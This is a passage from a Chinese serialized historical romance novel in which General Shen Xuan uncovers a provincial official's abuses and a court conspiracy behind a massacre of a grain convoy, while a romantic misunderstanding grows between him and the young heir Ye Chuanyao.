天高皇帝远,他很清楚在这个宜州城内,没人能拿他怎么样,这才有恃无恐,为所欲为。 那位郡守想来也是走投无路,这才不惜绕了一大圈,来请沈翾出面,替他们将此事上奏朝廷。 这宜州城,怕是早就民不聊生,一片水深火热了。 沈翾思忖片刻,道:“此事事关重大,需得从长计议。” “明日我先去一趟沐北王府。” “沐北王府?”陆清玖疑惑道,“沐北王虽出身皇室,食邑丰厚,却身无官职。表哥去找他做什么?” 沈翾站起身道:“此事真伪还需 考究,不能仅凭一人之言妄下决断。” “沐北王府地处蜀郡,总能知道些什么。” “况且……” 他目光一沉,缓缓道:“我还欠王爷一个恩情未还,本该早去拜会。” 叶川遥不知他口中的恩情指的什么,顿了顿,侧眸问:“我可以同将军一起去吗?” 沈翾顿了顿,神色复杂地看他一眼,随即轻轻嗯了声。 陆清玖在一旁不忿道:“你去做什么?怎么表哥去哪你都要跟着?” 叶川遥站起身,走到他面前扯了扯嘴角,明媚地弯起眼角道:“就跟着了,陆公子能如何?” “你……哼!”陆清玖气得咬牙切齿,却忌惮沈翾在此而不敢发作。 “玖儿,一路奔波也累了,先下去休息吧。” 沈翾说完重新坐回棋盘前,冲对面的人道:“来将这局下完。” 叶川遥笑着坐下:“哦,好啊。” 陆清玖:“……” 他气哼哼地大步出了书房,恰巧碰见正朝这边来的明烛。 “诶,玖儿,将军呢?” “哼,”陆清玖撇撇嘴道,“跟那个娇滴滴的世子在书房下棋呢!” 见他耷拉着脸,明烛朝书房看了眼,笑着问:“这是怎么了?” 陆清玖停下脚步,闷声道:“表哥究竟为何要对他那么好?” “他对我都不曾那般耐心。” 明烛轻叹一声,将人往身旁拉了拉,两人慢悠悠地往前走。 “玖儿,我问你啊,你是将军的什么人?” 陆清玖不假思索:“表弟啊!” 明烛点头,又问:“那世子是将军的什么人?” 陆清玖想了想,不情不愿道:“算是……朋友吧?” “虽然搞不懂为什么,但看样子,表哥是真把他当朋友的。” 明烛:“……” 他轻咳一声,循循善诱道:“那你觉得,将军把我当朋友吗?” “这还用问?”陆清玖瞪了瞪眼。 “你跟表哥都多少年的兄弟了,他对你比对我还要亲近几分呢,跟亲兄弟也没什么两样!” “你居然这样问,不怕寒了表哥的心吗?” 明烛:“……” “哎呀这都哪跟哪啊!”明烛不禁笑道,“我是说,同样是朋友,你觉得将军对我,和对世子,有何不同?” 陆清玖仔细思忖着:“表哥对你自然是信任有加。对他嘛……” “好像更纵容,哼,还总是同他待在一处……” 明烛看着他笑:“所以,懂了吗?” 陆清玖的脑子转了又转,脸上的表情可谓精彩至极。 他瞪大眼不敢置信道:“你是说……表哥对他……” “他,他们……!” 明烛满意地点点头:“这回懂了吧?” “世子以后可是要做你嫂嫂的人,再跟他呛,小心你表哥揍你!” “……” “嫂,嫂嫂?” 陆清玖喃喃几声,许久都未从震惊中清醒过来。 他要有……嫂子了???魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 40-50 第41章 蜀郡与陵川接壤, 骑马不过大半日便可抵达。 几人到了城中,先去王府递了拜帖,不多时, 沐北王从大门急匆匆出来,见到沈翾立马笑着迎上去。 “大将军远道而来,老夫有失远迎!” 沈翾朝沐北王恭敬地行了礼:“王爷安好。” 沐北王忙将人扶起来:“将军折煞老夫了!” “快里面请!” 沐北王乃先皇最小的弟弟, 先皇继位时他才刚出生不久。当今陛下虽大他几岁,却也得喊他一声王叔。 当年先皇还在位时, 沐北王自请了块封地, 从此远离京城,不问朝政, 安安分分地做起他的闲散王爷。 这些年倒是平平安安地过来了。 几人随沐北王进了府, 府中一切井然有序, 朴实无华。 虽不比京中富庶, 却颇有几分怡然自得。 一行人被带到正厅,婢女将茶点端上后退下, 只留他们几个说话。 沐北王打量沈翾几眼,笑着轻叹一声:“这日子过得可真是快啊, 老夫与大将军多年未见, 方才在门口, 险些没能认出来。” 曾经明媚意气的少年将军,如今长成了沉稳端肃的权臣, 不知老将军泉下有知,是会高兴还是难过…… 沈翾温文一笑:“多年未见, 王爷倒是还跟从前一样。” 沐北王摆摆手:“诶,老了,不比从前。” “对了, 听闻将军前几日被人行刺受了伤,现下可好些了?” “已无大碍,多谢王爷挂怀。”沈翾笑着道。 沐北王点点头,并未多问:“那就好。” 说完看向其余几人:“这几位是……” 明烛站起身躬身道:“属下明烛,是大将军的近卫。” “这两位是卫国公世子叶川遥,江州陆家嫡子陆清玖。” “喔,”沐北王笑着点点头:“原来是明将军和陆公子。” 陆清玖起身见礼道:“陆清玖见过王爷。” “嗯,”沐北王笑容温和,对二人赞赏有加,“自古英雄出少年,大将军手下果然良才辈出。” “都不必拘礼,坐下说话。” 他慈和地说完,转而看向叶川遥,倏地板起脸,哼道:“世子还敢来我这沐北王府,不怕挨揍吗?” “……” 明烛和陆清玖双眼一瞪,俱是一惊。 听这话,这沐北王显然是认得世子的,不知两人之间究竟有何渊源。 只有沈翾眸色淡淡,似乎并不意外。 叶川遥站起身,乖巧一笑,嗓音清脆道:“阿遥这不特地来向王爷赔罪了!念在晚辈年少不懂事,您就原谅侄儿一次吧!” “实在气不过您就打我一顿,出出气!” “哼,你以为老夫不敢吗?” 叶川遥赔着笑,故作轻声道:“那一会儿您偷偷打,将军还在呢,您多少给侄儿留点面子。” “哈哈哈你啊,”沐北王绷不住笑道,“几年不见,倒是比小时候还要油嘴滑舌!” “罢了,此事过去已久,也无需再提,本王也懒得再管你们年轻人的事。” 几个人听得云里雾里,心下好奇,却又不得解,只能干着急。 叶川遥躬身道:“多谢王爷。” 闲话过后,沐北王看向沈翾,正色几分道:“将军今日前来,不知所为何事?” 沈翾看向沐北王,慢条斯理道:“实不相瞒,沈某前几日收到一封密信。信上说有民家女死于刺史府,不知王爷是否听闻过此事?” 沐北王目光微闪,沉默一瞬后叹声道:“确有此事。” 几人互相对视一眼,心中不禁一动。 看来这事的确不是什么秘密。 沐北王思忖一瞬,随即沉声道:“刺史孟少忠近几年颇好美色,家中美姬小妾养了十几个。” “那名女子原是锦绣坊的绣娘,那日不过是去府里送衣裳,不巧被那孟刺史遇上。” “见那女子容貌秀丽,他便起了念,先是差人去女子家中提亲,女子不肯与人为妾开口回绝,他便将人强行带回府中。” “唉,此女也是刚烈,抵死不从,一头栽进那莲花池中,香消玉殒,实在可惜。” 叶川遥眼底微颤,不禁有须臾失神。 这女子的经历,倒是和上一世的他颇为相似。 当权者为所欲为,他们这些无辜百姓难道就只能逆来顺受吗? “那女子可还有家人?”叶川遥问。 沐北王叹息道:“那女子家中只有一位老父亲,孟刺史给了他一笔银钱做补偿,这事……也就无人再提了。” 叶川遥心里越发不是滋味。 一个如花生命,好不容易来这世上一遭,最终却这般销声匿迹,甚至连最亲之人都不在意,当真是令人唏嘘。 沈翾看向沐北王,不紧不慢问:“这位孟刺史如此只手遮天,宜州的官员和百姓难道就没有怨言?” “自是有的,只是……” 沐北王犹豫道:“他既敢如此行事,背后自是有所依靠。将军来此,想来心中已有几分了然。” “不过,老夫斗胆奉劝将军,还是莫要插手此事为好。” 沈翾眸色幽深,沉思道:“王爷何出此言?” 沐北王眉头微蹙,沉声慢道:“冰冻三尺非一日之寒,孟少忠所犯罪行虽罄竹难书,但背后的势力盘根错节,可谓牵一发而动全身!” “将军又何必以身入局,趟这个浑水?” 沈翾闻言自嘲一笑:“王爷肺腑之言,沈翾心中感激,但……” “我本已身在局中,又哪里能真的置身事外?” 沐北王点点头,无奈地长叹一声:“也罢,既如此,将军不妨去见一见蜀郡郡守裴硕。” “他在孟刺史手下为官多年,想来定能知晓些什么。” 沈翾点点头:“多谢王爷。” 沐北王看向他,眼中神色复杂,一字一句道:“将军,如今天下不安,朝廷动荡,将军定要万般小心。” “可千万……莫要步了老将军的后尘啊!” 沈翾起身,朝沐北王郑重地鞠了一躬,敬声道:“当年承蒙王爷倾囊相助,送粮之恩沈翾没齿难忘。” “王爷放心,沈翾绝不会让当年之事重演,也绝不会任奸人当道,民不聊生。” 沐北王缓缓点头,嗓音微颤:“好,好。” 当年为求自保他自请离京,在这宜州一待就是几十年,从此两耳不闻窗外事,少时的抱负早已抛诸脑后。 眼见百姓疾苦,他虽心痛却无能为力。 可有些事总要有人去做。 这天下,也总要有人去守。 若这世上能多几个如沈翾这般的人,这天下,或许会是另一番景象吧…… “天色已晚,几位不如先在府里住下,明日再做打算。” 沈翾并未推拒:“那便叨扰王爷了。” 几人在偏院住下。 入夜,沈翾带着明烛偷偷潜入郡守裴硕家中,剩叶川遥和陆清玖在院子里吹着风闲坐。 陆清玖的手里捏着酒盏,瞧着神色有些恍惚。 他一句话也不说,只时不时地拿眼角瞥一眼对面之人。 叶川遥若有所思地看向他。 这家伙今日怎么奇奇怪怪的? 如此安静是又在打什么坏主意? “吃吗?”他将盘子里的桃子递过去。 “你,你吃吧。”陆清玖轻声道。 “哦,不吃算了。” 叶川遥懒得去猜,望着门口吃自己的。 亥时三刻,沈翾和明烛终于回来。 叶川遥给两人倒了茶,问:“见到那个裴郡守了?” “嗯,”沈翾坐下道,“同信中所说相差无几。” “他近几年搜集了不少孟少忠贪污受贿、克扣赋税的证据,只要呈交御史台,这个刺史便再无活路。” 陆清玖不解道:“他既有证据,为何不早些交给御史台,非要等到现在呢?” 沈翾慢条斯理道:“裴硕在孟少忠手下蛰伏多年,知道朝中定有许多人与其狼狈为奸,故而谁也不敢信。” “只好默默搜集证据,等待时机。” 他从袖袋中拿出一封密信,递给叶川遥:“这上面是涉案的所有官员,共四十八人。” 叶川遥将涉案名单一一看完,又递给明烛,胸口怒火中烧。 “下至县丞,上到尚书,这些人还把朝廷放在眼里吗?还把大盛律法放在眼里吗?” 陆清玖狠狠拍向桌子,附和道:“岂有此理,简直罪该万死!” 明烛看向脸上怒气一般无二的两人,笑笑道:“你们两个倒是难得如此有默契。” “不过将军,这个裴硕,还有这份名单,真的可信吗?” “此事牵涉甚广,若这份名单属实,朝中定要经历一次大动荡,几位皇子的党羽也必定牵涉其中。” “若是有心之人故意为之,利用此事排除异己……” “无妨,”叶川遥开口道:“将军大可将此案光明正大地上报朝廷,交由御史台去查。” “御史台行事公正,若这份名单是假的,找不到证据,那自然不会冤枉好人。” “而真正的作奸犯科者,也总有办法将他们全审出来。” 沈翾轻笑一声:“世子聪颖,所言极是。” 此行目的已达成,未免夜长梦多,几人决定次日一早便去向王爷辞行,打道回府。 没想到去时郡主也在。 “见过大将军。”季兰青朝沈翾行了礼,莞尔道。 沈翾回以微笑:“郡主安好。” 季兰青方一抬头,霎时瞥见沈翾身后之人,漂亮的双眼倏地一亮。 “是你,没想到又见面了!” 陆清玖看向季兰青,仔细想了片刻,才记起眼前的人。 抬手温声道:“原来是郡主。” 沐北王看向女儿,笑着问:“青儿,你与陆公子是何时相识的?” 季兰青唇角弯起:“原来你姓陆,这次我知道了!” 她说完走到沐北王面前,欢声道:“回父王,我与陆公子前几日在街上偶然相识,今日又在此遇见,还真是有缘。” 沐北王哼道:“你啊,又一个人跑到街上去玩了吧?父王同你说过,女孩子家一个人不安全……” “哎呀父王,我知道了!” 季兰青说完看向叶川遥:“你就是世子?” “跟我来,借一步说话,” 叶川遥看一眼沈翾,随即跟着季兰青出了门。 “这丫头,”沐北王笑着道,“让将军见笑了。” 沈翾笑笑:“郡主天真烂漫,难能可贵。” “王爷,那沈翾今日就先告辞了,日后若有机会再来拜会。” “好,那我们后会有期。” 季兰青和叶川遥到了廊下,叶川遥郑重道:“郡主,当年之事,我欠郡主一个道歉。” 季兰青不以为意道:“世子不必如此,男婚女嫁本就该双方都觉得好,日子才能圆满。” “强扭的瓜不甜,这个道理我还是懂的。” “那时国公爷来信同父王说,你已经有了心上人。本郡主又不是嫁不出去,自然不会强人所难。” 沈翾从前厅出来,闻言双脚一顿。 “明烛,玖儿,你们先去。” “哦,好。” 廊下,季兰青眼中满是好奇,循循问道:“不过,你与你那心上人如何了,为何还未成亲?” 叶川遥陷入过往的回忆中,低声道:“从前我与他云泥之别,只是我一厢情愿。他……并不知情。” “啊,单相思啊?”季兰青吃了一惊。 “可你为何不同她说开呢,你这模样,这家世,想来她也不会不肯吧。” “难不成是哪位公主?可宫里的几位公主也没有同你年纪相仿的啊……” 叶川遥不禁轻笑:“郡主别乱猜了,此事说来话长。” 季兰青一笑置之:“好吧,那现在呢,她还是不知情吗?” 叶川遥扯了扯嘴角,随口道:“想来应是不知道的吧。” 若沈翾有一日知道,他从很早前便心悦于他,不知会作何反应…… 季兰青对他的这种做法不以为然。 “你可真够能忍的。换做是我,管他什么身份,尽管说了就是。成与不成总要试试才知道!” 叶川遥莞尔一笑,真心道:“郡主通透豁达,能被郡主喜欢的人一定很幸运。” “郡主说的对,等找个机会,我便同他表明心意……” 沈翾转身一步步朝大门而去,脚步虚浮,恍若双腿不是他自己的。 心上人…… 脑海里闪过无数念头。 “翾哥哥,你怎能如此对我,不是说好等阿遥及冠,你就来府上提亲的嘛?” “虽自知身份低微,配不上将军。但心悦难控,阿遥只求留在将军身侧,日日得见便已足矣。” “往后就让它保佑将军,所向披靡,一世无忧!” “以后,有阿遥陪着你,好不好?” “若日后时局安稳,将军想要过什么样的生活?” “那到时我陪将军一起,吃海味,赏百花!” “……” 原来他早已有了心悦之人。 原来,在笑着说出那些信口拈来的情话时,他的心里却藏着另一个人…… 呼吸漫出丝丝痛意,沈翾极轻地苦笑一声。 所有的情难自抑如今仿佛都成了笑话。 原来,他沈翾,不过是个笑话。 第42章 叶川遥与季兰青聊得甚是投缘, 二人虽第一次见,却宛若无话不谈的亲兄妹,颇有些相见恨晚之意。 “对了, ”季兰青看着叶川遥,眼神发亮,嗓音清脆地问:“那个陆公子, 他是做什么的,今年多大, 可曾娶亲?” 叶川遥如实道:“哦, 陆公子今年十八,出身江州陆家, 是名武将, 尚未娶亲。” 说完饶有兴致地笑着问:“郡主该不会对陆公子……” 季兰青嫣然一笑:“我就是有些好奇, 随便问问而已。你可别出去乱说啊!” 叶川遥了然一笑:“知道啦, 郡主放心。” 他只顾着说话,丝毫未曾留意沈翾是何时出的大门。 等到了门口才见他们几个已经等在那里。 沐北王和郡主出门相送。 “几位慢走, 一路顺风。” 几人上了马,拜别王爷。 “王爷保重, 告辞。” 季兰青看向陆清玖, 笑眼弯弯道:“陆公子, 后会有期啦!” 陆清玖抬头望去,便见暖阳之下少女笑容明媚, 清眸流转,宛若仙子入凡尘。 他微微怔了怔, 颔首道:“郡主,告辞。” 一行人衣袂翩翩,策马扬鞭而去。 路途过半, 行经一家茶肆,几人下马稍作歇息。 明烛一边喝着茶,一边忍不住好奇问:“诶阿遥,你与沐北王府,从前究竟有何牵扯?” 叶川遥瞥一眼沈翾,想了想,小声道:“也没什么,就是前两年,王爷同我父亲议亲,被我……给推了。” “为何?” “因为……”他看向沈翾,欲言又止。 当着这么多人的面,他也不好把自己那点心思全说出来啊… 沈翾端起茶盏,垂眸不语,似乎并不感兴趣。 “因为不想那么早成亲啊哈哈哈哈……”叶川遥随口笑道。 “也是,前两年你尚未及冠,是有点早。”明烛点头道。 说完看看沈翾,意有所指地笑笑:“如今阿遥已及冠,正是成亲的好时候。” “将军,你说是不是?” 沈翾眸色闪烁一瞬,并未回答,只将手中茶盏放下,沉声道:“走吧,该启程了。” “哦,好。”几人跟着起身。 明烛和陆清玖快步上马,叶川遥跟在沈翾身旁,伸手将人拉住。 斟酌着轻声道:“将军,我与郡主之间……” “从前的事,世子无需同沈某交代。”沈翾沉声道。 “啊?” 叶川遥心中一颤,微怔住。过了会儿才轻声问道:“你真的,一点都不在意,一点也不想知道吗?” 不想了解他的过往、他心中所想吗? 沈翾眉头微微一动,刺痛划过心底,嗓音低沉道:“该动身了。” 叶川遥看着他翻身上马,心底涌上一抹苦涩,双唇抿成一条线。 哼,不想知道拉倒,最好永远都别知道! 几人快马加鞭回到府中。 上奏的事耽搁不得,沈翾将裴硕提供的证据交给明烛,让他和陆清玖带着人先行回京。 二人稍事休息便立刻动身,只剩下沈翾和叶川遥同处一室,相顾无言。 自打从沐北王府回来,叶川遥总觉得哪里怪怪的。 虽然不甚明显,但他还是察觉到沈翾对他的态度有些不对劲。 但又不像是在吃他和郡主的醋…… 若是吃醋倒好了。 他时不时看向沈翾,沈翾却只盯着书案上的公文,连个眼神也不肯分给他。 唉,大将军的心,海底针啊。 两人一言不发地待了许久,直到有侍卫进来,呈给沈翾一封信。 是冷月传来的消息,说已找到罗二,现下人就关在明月楼。 沈翾垂眸看完,站起身道:“我出去一趟,晚饭不必等我。” 说完步履翩翩向外而去。 叶川遥望着那道挺拔背影,张了张嘴,终究什么也没有问。 也对,英明神武的一品大将军,本也不必事事都同他说。 谁还没点儿秘密了。 既如此,那他的秘密,某人也永远别想知道! 偌大的将军府霎时冷清下来。 叶川遥心中烦闷,便一个人去了街上闲逛。 天色微微泛黑,铺面上都已亮起了灯。 他沿着街市漫无目的地走着,平日里喜欢的小玩意儿这会儿却无甚新鲜。 若是沈翾在,大抵都会买给他吧…… 百无聊赖地挪着步子,不知何时竟走到了明月楼门口。 听说这明月楼乃陵川一带最大的酒楼,雕栏玉砌,富丽堂皇。 各地商贾多在此聚集,谈商交友,往来者不断。 叶川遥心生好奇,遂抬脚踏门而入。 宽敞的大堂内人满为患,推杯换盏,热闹非凡。 跑堂的小二手脚麻利地招呼着客人,吆喝声甚是响亮。 来酒楼自然是要喝酒。 叶川遥在一楼挑了个不起眼的位置坐下。 “小二,把你们这儿最好的酒拿上来。” “好嘞,您先尝尝这点心,小的这就给您拿酒去嘞!” 叶川遥拿起桌上的桂花糕,尝了口又放下。 这点心做得倒不及京城的好。 小二很快拿了酒来。 叶川遥往杯子里斟满酒,连灌两杯,心里的躁郁终于淡了些。 舞乐台子上有乐人在弹奏,琴音婉转,可惜被夹在嘈杂声中,听不太真切。 忽地想起那夜沈翾吹的笛音。 那是他听过最好听的曲子。 怎么又想起他了? 叶川遥晃了晃脑袋,不再去想,只痛快地喝酒。 * 楼上天字号包厢。 沈翾一身冷肃地看着面前的人,幽声道:“罗二爷,你可让我们好找。” 罗二跪在地上,扯了扯嘴角,语气不屑地发问:“阁下何人,为何带我来此?” 沈翾并不打算隐瞒自己的身份,直言道:“沈翾。” 那人一惊,眼底亮了一瞬,却又一脸防备道:“大将军沈翾?你如何证明?” “放肆!将军的身份何需向你证明?”冷月在一旁呵斥道。 沈翾不在意地抬了抬手,从怀里将符牌拿出来,递到罗二面前。 罗二见了符牌,眼底微动,随即出声问:“不知将军为何绑我来此?” 沈翾笑笑,不答反问:“那罗二爷这些年东躲西藏,又是为何?” 罗二自嘲一笑:“将军既身在朝堂,又何必明知故问。” “八年前朝廷派禁军剿了我飞龙寨,我的弟兄们都死光了。我侥幸留了口气,想要活命,自然是要躲了。” 沈翾看向他,不再兜圈子:“你与冯时是如何相识的?” “哪来的冯时?不知道。”罗二撇撇嘴道。 沈翾脸色沉了沉,一字一句清晰道:“冯时死了,半个月前,死在京城。” “什么?”罗二脸上笑意骤消,眼中写满惊讶。 沈翾将他的反应收进眼底,不紧不慢道:“禁军灭了你全寨,你却与禁军校尉冯时往来甚密。” “如今冯时横死,罗二爷,还不肯说实话吗?” 罗二看向沈翾,神色凝重:“将军想知道什么?” 沈翾微微俯下身,眼底幽深如渊,嗓音低沉道:“本将只想问你一句。当年劫了粮草的,究竟是不是飞龙寨?” 罗二嗤笑一声:“我若说不是,将军信吗?” 沈翾直起身,淡声道:“信不信是本将的事,你只管说是,还是不是。” 罗二抿唇顿了顿,末了一字一顿道:“不是。” “我飞龙寨虽为盗匪,但一不劫穷苦百姓,二不动边防军饷。” “我等再混蛋,也知道边境军饷意味着什么,又怎会去劫!” “当年朝廷直接将罪行扣在我等身上,压根不给我们申辩的机会。” “一千多个弟兄啊,一夜之间,全化为了尸山血海!” 罗二抬手抹了抹脸上的泪,哽咽着道:“那晚我下山买酒,一时贪杯回去晚了些,这才逃过一劫。” “可我那些兄弟呢?他们连自己是怎么死的都不知道!” “公道何在,律法又何在?” 沈翾蹙着眉沉默不语,事情果然同他猜得相差无二。 他看向罗二,神情严肃地问:“本将如何信你?” 罗二吸了吸鼻子,语气平复几分道:“将军既派人寻我,想必心中也是早有怀疑吧?” “三日后,我带一个人来见将军,等见了他,将军便能知道我说得是不是真的。” “谁?”沈翾问。 “前禁军副统领,吴越。” “你说什么?”沈翾蹙眉看过去,“吴统领还活着?” 罗二笑道:“不错,待明日将军见了他,一切自有分晓。” 沈翾问完话,从包厢里出来,漫不经心地站在二楼的围栏前。 冷月站在身后,低声问:“主子,罗二怎么处置?” “放他回去,派人盯紧,看他明日是否真的能将人带来。” “另外,给南桑回信,让他……” 话未说完,忽然停下。 楼下某个角落里,一位蓝衣公子浅笑盈盈,身旁围着几个青年,看上去相谈甚欢。 俊逸身姿着实惹人注目,沈翾一眼瞧见他,脑中思绪便被扰地断了弦。 真是长本事了。 心里藏着人也就罢了,大晚上的,竟然还一个人跑出来,同这些不知哪来的混混们喝酒。 “主子,您刚刚说让阁主什么?”冷月在一旁出声问。 沈翾压了压呼吸,复又沉声道:“让南桑尽快动身来陵川。” “是,属下这就去传信。” 冷月离开,沈翾低头看向楼下之人。 白皙的脸颊上已经爬上了几分红晕。 谈笑间眉眼弯弯,灯光映在那双漆黑星眸里,分外明亮。 这是喝了多少? 鱼龙混杂之地,竟如此不加提防。 明明自己保证过,绝不会在外面醉酒。 小骗子,嘴里果然没一句真话。 沈翾抬起脚,一步一步朝楼下而去。 直到站到某人身旁。 头顶上方落下暗影一片。 叶川遥抬起头,见到眼前之人,立即笑开来:“将军,你是来……接我回家的吗?” 第43章 一桌子的人顺着叶川遥的视线齐齐看向来人。 极俊朗的一张脸, 就是冷了点,有些吓人。 端庄冷肃的气场让几人不由地发怵,谁也不敢开口。 沈翾平日鲜少出门闲逛, 知晓他长相的人并不多。 在座的几个人虽不知来人是谁,但却本能地觉得,此人定不是好惹的。 看这神情, 应是这位漂亮的小公子偷跑出来,现下家里的兄长来抓人了! 有人凑到叶川遥跟前轻声问:“叶兄, 这位可是你哥哥?” 叶兄…… 沈翾冷眸微眯, 薄唇紧抿。 这么一会儿,倒是熟络得很, 不仅同桌共饮, 还开始称兄道弟了。 叶川遥其实并没醉, 只是酒气上头, 莫名地有些兴奋。 他闻言仰起头嘻嘻一笑,用力点点头, 道:“没错,是我哥哥。” “我的……翾哥哥。” 沈翾心下一动, 喉结轻轻滚了滚。 视线漫不经心地落在眉眼弯弯的人身上, 看着那双美目中的无限缱绻。 水波流转, 让人难抵沦陷。 又是这个眼神。 明明心里藏着别人,却总是用这副目光看他。 同桌几人听叶川遥如此说, 纷纷起身朝沈翾见礼:“见过兄长!” 端的一个尊敬有礼。 “……” 沈翾并未应声,垂眼看着叶川遥, 嗓音清冷道:“还能走吗?” 叶川遥看着眼前神色淡淡的人,眨眨眼,一本正经地摇摇头, 低声喃喃道:“腿软,走不了。” “……” 沈翾深深地叹口气,走近些将人半抱着扶起来。 叶川遥随着力道站起身,双手攀在沈翾的手臂上,回头冲同桌几人笑着道:“各位兄台,先告辞了,咱们改日再好好喝个痛快!” “好,我等与叶兄实在投缘,下次一定不醉不归!” “嗯,不醉不归!”叶川遥眯着眼没心没肺道。 好一个不醉不归。 沈翾漫不经心地朝几人瞥过去,眼神里仿佛带着寒冰。 几人不禁瑟瑟道:“叶兄,兄长,慢走…” 沈翾抬手揽上叶川遥的腰,冷着脸将人带走。 几位青年站在原地松了口气,忍不住摇头道:“这两兄弟的相貌皆如此的俊逸绝伦,怎么性子却大相径庭?” 另一人笑道:“哎,长兄嘛,自然是要威严些。不过这位哥哥看上去也是个极疼爱弟弟的,不然也养不出叶兄这样明媚的性子……” 沈翾方才是一个人骑马来的,这会儿带着个醉鬼,马自然是骑不成了。 冷月给南桑传完信,见沈翾扶着人出门,立即让人去备了马车。 她此前并未见过叶川遥,这会儿见沈翾对他如此照顾,甚觉新鲜,遂试探着问:“主子,这位公子是?” 沈翾将人扶上马车,漫不经心道:“楼里捡的醉猫。” 叶川遥:“……” 他才没醉,且清醒着呢。 冷月没有再问,目送着马车缓缓而去。 等下次见了明烛,她定要好好打听打听…… 狭窄的马车内,叶川遥靠着软枕,半眯着眼看向对面的人。 沈翾那双黑白分明的眼底依旧深沉,看不透在想些什么。 其实关于沈翾这个人,他所知道的大部分过往皆是出自父亲口中。 除却那些英勇事迹,他并未真正地了解过他。 这段时间沈翾对他照顾有加,甚至可以称得上百般纵容,那些柔情让叶川遥想当然地认为,自己于他而言是不一样的。 但如今想想,会不会他对旁的人也那样好? 又或许,沈翾只是把他当作一个弟弟,会照顾,会护着,却不想探究他的过往,不在乎他心底有没有心悦之人…… 可若如此,从前那些相处又算什么? 那些克制的情动,那些肌肤之亲,难道都是他一厢情愿的错觉吗? 马车内一片安静,只有车轮发出吱吱嘎嘎的声响。 叶川遥心绪烦杂,方才本想借着醉酒撩拨一二,这会儿却没了兴致,干脆闭了眼假寐。 不知过了多久,忽而听闻沈翾沉声开口:“这么晚,为何一个人出来饮酒?” 叶川遥闻言缓缓睁开眼,将头侧了侧,一双清眸望向窗外漆黑的夜色。 漫不经心道:“一个人在府里待着无聊,就出来走走。” 沈翾看向他,见他眼底落寞明显,顿了顿问:“心里憋闷?” 难道是因为今日同郡主提起了伤心事,所以才难过…… 那个人……就这么重要? “没有,”叶川遥靠在车窗旁,淡淡道,“原本只想去明月楼瞧瞧热闹,没曾想碰见几个有趣的人,就多喝了几杯。” 沈翾抬眼幽声道:“世子在此处人生地不熟,还是少跟不相识的人来往。” “连对方身份都不知晓,就敢毫无防备地喝醉……” “我没醉。”叶川遥下意识反驳道。 抿着唇,低着眉,瞧着有一丝委屈。 沈翾心底一软,到了嘴边的说教又压了回去。 过了须臾,才慢条斯理道:“下次出门,叫几个人跟着。” 叶川遥转过头,看向他,抿着唇问:“将军呢,这么晚,又去那明月楼做什么?” “见个老朋友。”沈翾沉声道。 老朋友…… 哼,叫的够亲的。 叶川遥眨眨眼,犹豫一瞬,还是忍不住问道:“是方才……送你出来的那位貌美的女子吗?” “不是。”沈翾若有所思道。 罗二所言恐牵连甚广,兹事体大,还是莫要将阿遥牵连进来为好。 见沈翾不愿说,叶川遥冷哼一声:“不想说就算了,我也没想知道。” 沈翾的喉结轻轻滚了滚,最后轻叹一声,柔声道:“回去早些歇息吧。” 叶川遥闭上眼,懒得再看他…… 三日后,南桑和明烛抵达明月楼。 明烛已将宜州刺史案的相关证据呈交御史台。 听闻沈翾急召南桑前往陵川,他担心出了什么大事,便又同南桑一道返回。 罗二并未食言,竟果真将吴越带了来。 吴越已至不惑之年,加之这些年颠沛流离,脸上尽显沧桑之态。 当年的三千禁军副统领,何等风光,如今却只能叹一声物是人非。 吴越见了沈翾,打量半刻,轻轻笑道:“将军和少时变了许多。” 他还在禁军时沈翾年纪尚小,只在宫宴上见过一次。 意气风发的少年郎,着实让人印象深刻。 沈翾淡淡一笑:“三年前我得了吴统领的死讯,还惋惜英雄薄命。” “想我沈某自诩聪明,原也有被人愚弄的一天。” 吴越笑笑:“将军莫怪,吴某也是逼不得已,才假死而后生。否则也等不到今日与将军相见。” 沈翾点点头,眼底沉了沉道:“当年之事,还请吴统领如实相告。” 吴越深吸一口气,应声道:“好。” 他缓缓坐下,将往事娓娓道来。 “那年北渊南侵,陵川战事吃紧,又逢天灾不断,兵部和户部好不容易筹齐粮草,由兵部尚书林征带着粮队赶赴前线。” “可刚行了一日,我和禁军其他二十几名弟兄便接到郑统领的密令。” 当时的禁军统领,便是如今的大理寺卿郑元,郑贵妃的亲哥哥,六皇子季寒的亲舅舅。 “郑统领说,沈将军消极抗敌,拖延战事,有通敌嫌疑。陛下下了密旨,要我们将送粮车队秘密拦下。” 沈翾静静地听着,面色未变,只有漆黑的眼底藏着惊涛骇浪。 “皇命难为,我虽觉得蹊跷却也只能照做。” “本以为只须将车队拦下便可,谁知到了地方,郑元竟下令将所有运粮官兵就地斩杀,还谎称我等是飞龙寨的匪寇,只留下林大人一个活口!” 吴越停顿一下,叹声道:“后来的事,将军应当知晓。林大人回京上报此事,陛下勃然大怒,将其一家满门抄斩。” “又派三千禁军连夜将飞龙寨悉数剿灭。” 南桑眉头紧蹙,眼底猩红一片。 他已两日两夜未曾阖眼,此刻却是前所未有的清醒。 明烛察觉他的反常,抬手按在南桑微微颤抖的肩膀上,安抚地捏了捏。 南桑侧眸看向明烛,瞥见他眼里的关切,终于慢慢冷静下来。 明烛看向吴越,幽声问道:“所以事后你们销声匿迹,是郑元怕东窗事发,才将你们全部调离京中?” “不错,”吴越点头道,“此事一出,我和弟兄们心里清楚,这京城我们是待不下去了。想着调去郡县做个寻常衙役倒也不错,至少不必再刀尖搏命。” “却没想到刚出京城,我等就遭人暗杀。” 在座的几人互相看看,眼中皆露出惊诧之色。 禁军乃皇帝亲兵,光天化日之下追杀禁军,实乃骇人听闻。 吴越哽咽道:“二十多个兄弟,陆陆续续皆没了音讯。” “我先是逃到江州,后来又去了宜州,再后来机缘巧合之下与罗二爷相识,又遇见侥幸逃过一劫的冯时。” “这些年,我们辗转多地,艰难度日,就是为了有朝一日,能替枉死的弟兄们报仇!” 几人听完沉默须臾,心中愤慨无处宣泄。 没想到,这竟是一场如此浩大又部署周密的阴谋。 而所有的这一切,不过是为了除掉沈家。 陵川数十万百姓,壹字军几万将士,飞龙寨上千弟兄,还有林尚书一家…… 幕后之人不惜用这些人的性命做陪葬,竟只为了除掉一个沈家。 丧心病狂不过尔尔。 明烛蹙眉,自言自语道:“这幕后之人,究竟是郑元,还是……陛下?” 吴越摇摇头:“不知。” “禁军向来只认令牌,不得多问。陛下是否真的下了密旨无从得知,全凭郑元一人之言。” 沈翾沉默片刻,缓缓问道:“冯时突然回京所为何事?” 